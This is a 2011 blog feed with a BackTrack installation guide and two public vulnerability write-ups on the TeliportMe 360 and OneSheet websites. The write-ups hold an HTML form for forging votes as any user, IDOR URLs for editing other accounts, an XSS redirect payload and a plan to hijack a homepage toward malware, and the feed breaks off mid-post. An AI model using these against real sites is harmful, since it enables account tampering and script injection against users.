		<comments>http://www.techblogistech.com/2011/08/installing-backtrack-in-virtualbox/#comments</comments>
		<pubDate>Thu, 18 Aug 2011 04:10:12 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[ceh]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[toor]]></category>
		<category><![CDATA[virtualbox]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=390</guid>
		<description><![CDATA[For a long time now I&#8217;ve been considering security training. I feel like it would really polish my current abilities &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/installing-backtrack-in-virtualbox/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignright size-full wp-image-104" title="Terminal" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" alt="Terminal" width="77" height="77" /><noscript><img class="alignright size-full wp-image-104" title="Terminal" src="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" alt="Terminal" width="77" height="77" /></noscript></a>For a long time now I&#8217;ve been considering security training. I feel like it would really polish my current abilities and help me overcome some artificial learning plateaus. There are plenty of options available, but the two that I hear the most about are the <a title="Certified Ethical Hacker" href="https://www.eccouncil.org/certification/certified_ethical_hacker.aspx" target="_blank">Certified Ethical Hacker</a> (CEH) program and the <a title="Pentesting with Backtrack" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/" target="_blank">Offensive Security Certified Professional</a> (OSCP) program. After doing some research it looks like OSCP is far more hands-on and well worth its price tag ($750 minimum for 30-days access to the lab; price goes up if you need more lab time). To be honest, it seems like CEH is a bit of a joke to real security professionals; perhaps it&#8217;s more useful to those with an interest in security but little experience.</p>
<p>In preparation for the Pentesting with Backtrack course (the course you take before applying for the OSCP exam), I&#8217;ll be installing Backtrack 5 in VirtualBox. Continue reading to learn how.</p>
<p><span id="more-390"></span></p>
<h1>Installing Backtrack in Virtual Box</h1>
<p>1. Download the latest BackTrack from <a title="BackTrack Linux" href="http://www.backtrack-linux.org/downloads/" target="_blank">the Backtrack website</a><br />
2. Download and install the latest VirtualBox from <a title="Virtual Box" href="http://www.virtualbox.org/wiki/Downloads" target="_blank">the VirtualBox website</a><br />
3. Open VirtualBox Manager<br />
4. Click New<br />
5. Name your VM anything you want; I chose to name mine <strong>bt5</strong>. Select <strong>Linux</strong> as the OS and <strong>Linux 2.6</strong> as the version.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-in-virtualbox-1.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-392" title="Backtrack in VirtualBox" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-in-virtualbox-1-300x194.png" alt="Backtrack in VirtualBox" width="300" height="194" /><noscript><img class="alignnone size-medium wp-image-392" title="Backtrack in VirtualBox" src="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-in-virtualbox-1-300x194.png" alt="Backtrack in VirtualBox" width="300" height="194" /></noscript></a><br />
Installing BackTrack in VirtualBox; click to enlarge</div>
<p>6. Select the RAM size; I chose <strong>2048</strong><br />
7. Select <strong>Create new hard disk</strong><br />
8. Use <strong>VDI</strong><br />
9. You can choose to use either a dynamic or static disk; I personally chose <strong>static</strong> and allocated <strong>8GB</strong><br />
10. Once this is done, you can select your new VM and click the Start button in VirtualBox<br />
11. The new set up guide should appear and it will ask you to select your CD/DVD drive. Choose the BackTrack ISO you downloaded as the CD/DVD drive and VirtualBox will boot into BackTrack&#8217;s live disc.<br />
12. You will see the splash screen below. Just type <strong>startx</strong> to boot into Gnome or KDE.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-boot-splash.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-393" title="BackTrack Splash" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-boot-splash-300x244.png" alt="BackTrack Splash" width="300" height="244" /><noscript><img class="alignnone size-medium wp-image-393" title="BackTrack Splash" src="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-boot-splash-300x244.png" alt="BackTrack Splash" width="300" height="244" /></noscript></a><br />
BackTrack splash screen; click to enlarge</div>
<p>13. Double-click the <strong>Install BackTrack</strong> link on the desktop to start the installation process<br />
14. Select your geographical location and click <strong>Forward</strong>. Same for the keyboard layout.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-location.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-394" title="backtrack-location" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-location-300x217.png" alt="" width="300" height="217" /><noscript><img class="alignnone size-medium wp-image-394" title="backtrack-location" src="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-location-300x217.png" alt="" width="300" height="217" /></noscript></a><br />
BackTrack location setup; click to enlarge</div>
<p>15. The next screen allows you to configure the partitioning layout. The assumption is that you are deleting the whole drive and installing BackTrack. This should be fine since you&#8217;re installing within a VM, but you can configure it if you would like.<br />
16. Accept the installation summary and click <strong>Install</strong>.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-ready-to-install.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-395" title="BackTrack Ready to Install" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-ready-to-install-300x217.png" alt="BackTrack Ready to Install" width="300" height="217" /><noscript><img class="alignnone size-medium wp-image-395" title="BackTrack Ready to Install" src="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-ready-to-install-300x217.png" alt="BackTrack Ready to Install" width="300" height="217" /></noscript></a><br />
BackTrack installation summary; click to enlarge</div>
<p>17. BackTrack is now installing! Wait patiently; this can take a while depending on how much RAM you allocated and how fast your PC is!</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/installing-backtrack.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-391" title="Installing Backtrack" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/installing-backtrack-300x247.png" alt="Installing Backtrack" width="300" height="247" /><noscript><img class="alignnone size-medium wp-image-391" title="Installing Backtrack" src="http://www.techblogistech.com/wp-content/uploads/2011/08/installing-backtrack-300x247.png" alt="Installing Backtrack" width="300" height="247" /></noscript></a><br />
Installing BackTrack to the hard drive; click to enlarge</div>
<p>18. You&#8217;re done installing! Restart!<br />
19. When BackTrack boots, use the username <strong>root</strong> and the password <strong>toor</strong> to login. Change the password using <strong>passwd</strong>.<br />
20. You may have noticed you&#8217;re at a duller black screen instead of the cool splash screen you had during the live session. If you think this is hardcore, then good for you! If you liked the splash screen better then use <strong>fix-splash</strong> to restore it!<br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-restore-boot-splash-reboot.png" rel="shadowbox[sbpost-390];player=img;"><img class="lazy alignnone size-medium wp-image-396" title="BackTrack Restore Boot Splash" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-restore-boot-splash-reboot-300x151.png" alt="BackTrack Restore Boot Splash" width="300" height="151" /><noscript><img class="alignnone size-medium wp-image-396" title="BackTrack Restore Boot Splash" src="http://www.techblogistech.com/wp-content/uploads/2011/08/backtrack-restore-boot-splash-reboot-300x151.png" alt="BackTrack Restore Boot Splash" width="300" height="151" /></noscript></a><br />
21. If you fixed the splash screen, go ahead and reboot again using <strong>shutdown -r now</strong>.</p>
<h1>Finish Line</h1>
<p>Congratulations! You&#8217;re all done! Go forth and prosper! Don&#8217;t forget you can still use <strong>startx</strong> to get back to your desktop environment if you want to use the GUI tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/installing-backtrack-in-virtualbox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TeliportMe 360 Exploits (How to Edit Any Photo, Use XSS, and Compromise the Homepage)</title>
		<link>http://www.techblogistech.com/2011/08/teliportme-360-exploits-how-to-edit-any-photo-use-xss-and-compromise-the-homepage/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=teliportme-360-exploits-how-to-edit-any-photo-use-xss-and-compromise-the-homepage</link>
		<comments>http://www.techblogistech.com/2011/08/teliportme-360-exploits-how-to-edit-any-photo-use-xss-and-compromise-the-homepage/#comments</comments>
		<pubDate>Sat, 06 Aug 2011 00:29:36 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[360]]></category>
		<category><![CDATA[3sixtyfactory]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[compromised]]></category>
		<category><![CDATA[cross domain redirect]]></category>
		<category><![CDATA[cross domain redirection]]></category>
		<category><![CDATA[cross site request forgery]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[one sheet]]></category>
		<category><![CDATA[panorama]]></category>
		<category><![CDATA[photos]]></category>
		<category><![CDATA[phototour]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[techcrunch]]></category>
		<category><![CDATA[techie buzz]]></category>
		<category><![CDATA[teliportme]]></category>
		<category><![CDATA[vineet devaiah]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=377</guid>
		<description><![CDATA[IMPORTANT: DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on TeliportMe&#8217;s 360 website or mobile &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/teliportme-360-exploits-how-to-edit-any-photo-use-xss-and-compromise-the-homepage/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" rel="shadowbox[sbpost-377];player=img;"><img class="lazy size-full wp-image-353 alignright" title="Warning" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" alt="Warning" width="77" height="77" /><noscript><img class="size-full wp-image-353 alignright" title="Warning" src="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" alt="Warning" width="77" height="77" /></noscript></a><strong>IMPORTANT:</strong> DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on TeliportMe&#8217;s 360 website or mobile application with extreme caution and at your own risk. I highly recommend that you DO NOT visit TeliportMe&#8217;s 360 website or PhotoTour.in directly. By the time you read this someone else may have already used this information to exploit the site and/or its visitors. <strong>YOU HAVE BEEN WARNED!</strong></p>
<p>About a week ago, <a href="http://techcrunch.com/2011/07/29/360-teliportme-brings-its-killer-panorama-app-to-android-oh-and-it-works-on-over-200-phones/" title="TeliportMe's 360 app at TechCrunch" target="_blank">TechCrunch discussed a panorama application</a> for Android.  The application is called 360 and it was created by <a href="http://twitter.com/#!/VineetDevaiah" title="Vineet Devaiah on Twitter" target="_blank">Vineet Devaiah</a>&#8216;s company <a href="http://teliportme.com/" title="TeliportMe" target="_blank">TeliportMe</a>.  It&#8217;s received praise from some other <a href="http://techie-buzz.com/mobile-news/360-for-android-click-and-share-panorama-images-with-your-friends-review.html" title="TeliportMe's 360 app at Techie Buzz" target="_blank">reputable</a> <a href="http://www.3sixtyfactory.com/en/component/content/article/2-news/245-360-panoramic-android-app-360-panorama-made-easy.html" title="TeliportMe's 360 app at 3sixtyfactory" target="_blank">sources</a> as well and has even managed to attract about 30,000 users; but as will become more apparent over time I love to dig into the security of these sorts of apps.  Unfortunately for TeliportMe, their web security is not up to snuff.</p>
<p><span id="more-377"></span></p>
<h1>Warning</h1>
<p>I will warn you one more time! DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on TeliportMe&#8217;s 360 website or mobile application with extreme caution and at your own risk. I highly recommend that you DO NOT visit TeliportMe&#8217;s 360 website or PhotoTour.in directly. By the time you read this someone else may have already used this information to exploit the site and/or its visitors. <strong>YOU HAVE BEEN WARNED!</strong></p>
<h1>The 360 Exploits</h1>
<p>There are various ways you can go about exploiting this application.  I&#8217;ll discuss a few of the information disclosures, how to modify any photo&#8217;s name, and a few ways to use XSS.</p>
<h1>Information Disclosures</h1>
<p>360 as well as PhotoTour.in both use a REST API to pass data around internally via XML.  This is an excellent way to build a reusable system and makes it very easy to build new applications as your company grows (great job devs!).  Where they went wrong is in <strong>securing</strong> this system, because guess what!?  That&#8217;s right! <strong>IT&#8217;S PUBLIC!</strong>  Below are some cool links you can use to query their API.</p>
<h4>Recent Photo Stream</h4>
<p>This is the recent photo stream.  You can also use a few variables to limit your query.  Nothing special here outside of maybe the addresses and geographical coordinates.  Most of this is available via the website anyway.</p>
<pre>http://360.vtcreator.com/api/stream/

http://360.vtcreator.com/api/stream/index?count=10&#038;type=upload</pre>
<h4>User Data</h4>
<p>This is how to obtain information about a user.  Luckily this doesn&#8217;t contain any <strong>really</strong> sensitive information, but it does make it easy to tell who is signed up on the site, how many people are signed up, and you can potentially grab some users&#8217; email and Facebook info.  Below is the link to one of the CEO&#8217;s accounts.  You can of course change the <strong>5</strong> to any number you want to try other accounts.</p>
<pre>http://360.vtcreator.com/api/users/5</pre>
<h4>Photo Data</h4>
<p>You can also obtain photo data.  Nothing special here really outside of more geographical info and vote info.  Looks like they were considering implementing a dislike feature.</p>
<pre>http://360.vtcreator.com/api/environments/3117</pre>
<h4>More Fun</h4>
<p>There are lots of other fun things you can do like getting the photo comments or posting new comments.  I won&#8217;t go into all the details, but below is a link to get photo comments.</p>
<pre>http://360.vtcreator.com/api/threads/phototour_environment_2515</pre>
<h1>Editing Any Photo&#8217;s Info</h1>
<h3>From the website</h3>
<p>The good thing about this exploit is it&#8217;s not public; you do have to be logged into the site.  The bad part is when I say edit <strong>any</strong> photo I literally mean <strong>ANY</strong> photo on <strong>ANYONE&#8217;S</strong> account.  Of course the photo then becomes associated with your account, but obviously a malicious user could just use a proxy if he wanted to protect his identity and then go around modifying user photos.  Below is a link to edit one of Vineet&#8217;s photos, but of course you can change the photo id from <strong>3117</strong> to anything you want.</p>
<pre>http://360.vtcreator.com/profile/editphoto/id/3117</pre>
<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_rename_photo.png" rel="shadowbox[sbpost-377];player=img;"><img src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_rename_photo.png" alt="" title="360_app_rename_photo" width="288" height="288" class="lazy alignnone size-full wp-image-384" /><noscript><img src="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_rename_photo.png" alt="" title="360_app_rename_photo" width="288" height="288" class="alignnone size-full wp-image-384" /></noscript></a></p>
<h3>Using Your Own Form</h3>
<p>If you want to get really crafty you can build an HTML form yourself and just post data to <strong>http://360.vtcreator.com/profile/upload</strong>.  Then you can edit a few more details like the photo location. I won&#8217;t go into those details here. <img src='http://www.techblogistech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h1>Liking (Voting for) Any Photo As Any User</h1>
<p>This is another exploit that will allow you to impersonate any user and vote for any photo.  By impersonating different users you can spam votes for one photo to get it to the top of the &#8220;Top Rated&#8221; list on the 360 website.  This one requires making an HTTP POST request, so you could copy and paste the below into a file called <strong>360_voter.html</strong> and then use it to submit false votes.  You can change <strong>3117</strong> to any photo ID and <strong>5</strong> to any user ID to vote for that photo as that user.</p>
<pre>
&lt;html>
&lt;body>
&lt;form method="post" action="http://360.vtcreator.com/api/environments/3117/votes/">
&lt;input name="user_id" type="text" value="5" />&lt;br />
&lt;input name="environment_id" type="text" value="3117" />&lt;br />
&lt;input type="hidden" name="value" value="1" />&lt;br />
&lt;input type="submit" name="submit" value="Vote" class="submit-button"/>
&lt;/form>
&lt;/body>
&lt;/html>
</pre>
<h1>Cross Site Scripting (XSS)</h1>
<h3>Photo Names</h3>
<p>And of course, the ever prevalent XSS exploits.  There are a couple on the 360 site and even more on PhotoTour.in, but I&#8217;ll only discuss the 360 site in this post.  The first is that when editing any user&#8217;s photos you can inject JavaScript into the Photo name.<br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss1.png" rel="shadowbox[sbpost-377];player=img;"><img src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss1.png" alt="" title="360_app_xss1" width="305" height="304" class="lazy alignnone size-full wp-image-380" /><noscript><img src="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss1.png" alt="" title="360_app_xss1" width="305" height="304" class="alignnone size-full wp-image-380" /></noscript></a></p>
<h3>Photo Comments</h3>
<p>Secondly, when viewing photos you can add comments which can also contain injected JavaScript.  You could use this to target specific users by injecting JavaScript into <strong>all</strong> of their photos; something that steals their cookie would do nicely, unlike the harmless <strong>alert</strong> below. <img src='http://www.techblogistech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss2.png" rel="shadowbox[sbpost-377];player=img;"><img class="lazy alignnone size-full wp-image-381" title="360_app_xss2" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss2.png" alt="" width="377" height="296" /><noscript><img class="alignnone size-full wp-image-381" title="360_app_xss2" src="http://www.techblogistech.com/wp-content/uploads/2011/08/360_app_xss2.png" alt="" width="377" height="296" /></noscript></a></p>
<h1>Hijacking the Homepage</h1>
<p>With this information you could easily hijack the homepage to redirect users somewhere else.</p>
<ul>
<li>Upload a photo</li>
<li>Rename the photo to add JavaScript that redirects users to another website</li>
<li>Spam votes using the vote exploit to get the photo to the top of the list of &#8220;Top Rated&#8221; photos which is displayed as the homepage</li>
</ul>
<p>Of course the site you redirect to could easily be a drive-by install site that installs malware on the users&#8217; PCs or pretty much anything you wanted. Scary!</p>
<h1>Things to Ponder</h1>
<h3>SQL Injection</h3>
<p>With all the things I see on this site it certainly appears that one could do more devious deeds.  I wouldn&#8217;t be surprised to see some SQL injection, but I didn&#8217;t attempt to exploit it myself.</p>
<h3>Account Deletion</h3>
<p>360 uses HTTP POSTs to delete things.  Generally you just POST something like <strong>method=delete&#038;user_id=1&#038;access_token=123abc</strong> to one of the API URLs.  I suspect a crafty user could bypass this simple access_token check.  Below is an example URL; that URL would delete the photo if it were a POST request instead of a GET and if it had a valid access_token and user_id:</p>
<pre>http://360.vtcreator.com/api/environments/3117?method=delete&#038;user_id=1&#038;access_token=123abc</pre>
<h1>Lessons Learned</h1>
<ul>
<li>New websites can easily become playgrounds for malicious users</li>
<li>Where there&#8217;s one exploit, there&#8217;s another</li>
<li>Multiple exploits can allow a crafty attacker to perform even worse attacks (like hijacking your homepage)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/teliportme-360-exploits-how-to-edit-any-photo-use-xss-and-compromise-the-homepage/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>OneSheet Exploits (How to Edit Any Band&#8217;s OneSheet and/or Use XSS)</title>
		<link>http://www.techblogistech.com/2011/07/onesheet-exploits-how-to-edit-any-bands-onesheet-andor-use-xss/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=onesheet-exploits-how-to-edit-any-bands-onesheet-andor-use-xss</link>
		<comments>http://www.techblogistech.com/2011/07/onesheet-exploits-how-to-edit-any-bands-onesheet-andor-use-xss/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 06:19:57 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[billboard]]></category>
		<category><![CDATA[compromised]]></category>
		<category><![CDATA[cross domain redirect]]></category>
		<category><![CDATA[cross domain redirection]]></category>
		<category><![CDATA[cross site request forgery]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[mashable]]></category>
		<category><![CDATA[one sheet]]></category>
		<category><![CDATA[onesheet]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[techcrunch]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=361</guid>
		<description><![CDATA[IMPORTANT: DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on OneSheet with extreme caution. I &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/07/onesheet-exploits-how-to-edit-any-bands-onesheet-andor-use-xss/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" rel="shadowbox[sbpost-361];player=img;"><img class="lazy size-full wp-image-353 alignright" title="Warning" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" alt="Warning" width="77" height="77" /><noscript><img class="size-full wp-image-353 alignright" title="Warning" src="http://www.techblogistech.com/wp-content/uploads/2011/07/messagebox_warning.png" alt="Warning" width="77" height="77" /></noscript></a><strong>IMPORTANT:</strong> DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on OneSheet with extreme caution. I highly recommend that you DO NOT visit OneSheet.com directly. By the time you read this someone else may have already used this information to create a OneSheet JavaScript worm. <strong>YOU HAVE BEEN WARNED!</strong></p>
<p>So, remember that <a title="OneSheet" href="http://www.onesheet.com" target="_blank">OneSheet</a> site <a title="OneSheet Review at TechCrunch" href="http://techcrunch.com/2011/07/07/onesheet-is-about-me-for-bands/" target="_blank">all</a> <a title="OneSheet Review at Mashable" href="http://mashable.com/2011/07/08/onesheet/" target="_blank">the</a> <a title="OneSheet Review at Billboard" href="http://www.billboard.biz/bbbiz/industry/digital-and-mobile/onesheet-simple-online-space-for-artists-1005267962.story" target="_blank">bloggers</a> have been talking about (it&#8217;s basically a site for Bands to aggregate all their social media into one page and then add a background or bio for a little extra flavor)? Since those articles were written they&#8217;ve amassed <a title="OneSheet on Twitter" href="http://twitter.com/#!/onesheet" target="_blank">over 1000 followers on Twitter</a>. Well, I tried it out and <strong>the security is completely piss poor</strong>. Any respectable band that does not want their reputation tarnished should absolutely stay away from this site until they fix the <strong>glaring security holes</strong>. Continue reading to see why this site&#8217;s security is ridiculous.</p>
<p><span id="more-361"></span></p>
<h1>Warning</h1>
<p>I will warn you one more time! Proceed with reading this article and/or partaking in any action on OneSheet with extreme caution. I highly recommend that you DO NOT visit OneSheet.com directly. By the time you read this someone else may have already used this information to create a OneSheet JavaScript worm. If this is too scary, abandon ship! <strong>YOU HAVE BEEN WARNED!</strong></p>
<h1>The OneSheet Exploits</h1>
<p>You&#8217;ll notice I said &#8220;exploits&#8221; with an &#8216;s&#8217;. Plural. I&#8217;m not kidding. For the sake of other bands on OneSheet I&#8217;ll use a page I created myself as the example. Keep in mind that due to these issues I recommend you DO NOT VISIT OneSheet.com.</p>
<h1>Editing An Artist&#8217;s Info</h1>
<p>Below is my personal OneSheet account.</p>
<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-mypage.png" rel="shadowbox[sbpost-361];player=img;"><img class="lazy alignnone size-medium wp-image-363" title="OneSheet Homepage" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-mypage-300x151.png" alt="OneSheet Homepage" width="300" height="151" /><noscript><img class="alignnone size-medium wp-image-363" title="OneSheet Homepage" src="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-mypage-300x151.png" alt="OneSheet Homepage" width="300" height="151" /></noscript><br />(click to enlarge)</a></p>
<p>If this were your account, you could edit the <strong>Artist Info</strong> by clicking the link.<br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo.png" rel="shadowbox[sbpost-361];player=img;"><img class="lazy alignnone size-full wp-image-362" title="OneSheet Artist Info" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo.png" alt="OneSheet Artist Info" width="330" height="136" /><noscript><img class="alignnone size-full wp-image-362" title="OneSheet Artist Info" src="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo.png" alt="OneSheet Artist Info" width="330" height="136" /></noscript></a><br />
Since it&#8217;s my account, I can open this in a new tab (right-click -&gt; open in new tab). This brings me to a page that looks like this.<br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo-page.png" rel="shadowbox[sbpost-361];player=img;"><img class="lazy alignnone size-full wp-image-364" title="OneSheet Artist Info Page" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo-page.png" alt="OneSheet Artist Info Page" width="372" height="305" /><noscript><img class="alignnone size-full wp-image-364" title="OneSheet Artist Info Page" src="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-artistinfo-page.png" alt="OneSheet Artist Info Page" width="372" height="305" /></noscript></a><br />
Normally this wouldn&#8217;t seem like a big deal. The problem is that <a title="OneSheet Artist Info for SWIB" href="http://www.onesheet.com/settings/3095/artist-info/" target="_blank">this link is public</a>! Not only is this a completely public link, but the URL also uses the band ID (mine is 3095)!</p>
<pre>http://www.onesheet.com/settings/3095/artist-info/</pre>
<p>Anyone can just enter a band ID at random and start editing that band&#8217;s biography or website address! Not only that, but simply viewing the source code of most pages will give you the band&#8217;s ID, so you can target bands directly.</p>
<h1>Editing An Artist&#8217;s Services</h1>
<p>OneSheet allows bands to integrate their social media sites into their OneSheet page. By browsing to an artist&#8217;s services page any public internet user can edit a band&#8217;s social media accounts.<br />
<a href="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-services-page.png" rel="shadowbox[sbpost-361];player=img;"><img class="lazy alignnone size-full wp-image-365" title="OneSheet Services Page" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-services-page.png" alt="OneSheet Services Page" width="426" height="156" /><noscript><img class="alignnone size-full wp-image-365" title="OneSheet Services Page" src="http://www.techblogistech.com/wp-content/uploads/2011/07/onesheet-services-page.png" alt="OneSheet Services Page" width="426" height="156" /></noscript></a><br />
The URL uses the same flawed mechanics!</p>
<pre>http://www.onesheet.com/settings/3095/services/</pre>
<h1>Cross Site Scripting (XSS)</h1>
<p>As if that wasn&#8217;t bad enough, you can even enter JavaScript into the artist&#8217;s biography! I tried entering this into my biography and I was redirected right to my blog:</p>
<pre>&lt;script>document.location='http://techblogistech.com'&lt;/script></pre>
<p>I&#8217;m afraid this means malicious scripts could already be floating about on OneSheet. Even without the other insecurities this one could have been exploited by anyone with a OneSheet account on their own page. <strong>Please please please do not visit this site until these exploits are confirmed fixed!</strong></p>
<h1>Background Colors</h1>
<p>Anyone can use this same approach to edit a page&#8217;s background color publicly and likely do other harm to users of the site. Because the background color ends up in the HTML on the band&#8217;s main page, a crafty attacker could probably find a way to inject more nasty JavaScript there as well.</p>
<h1>Background Images</h1>
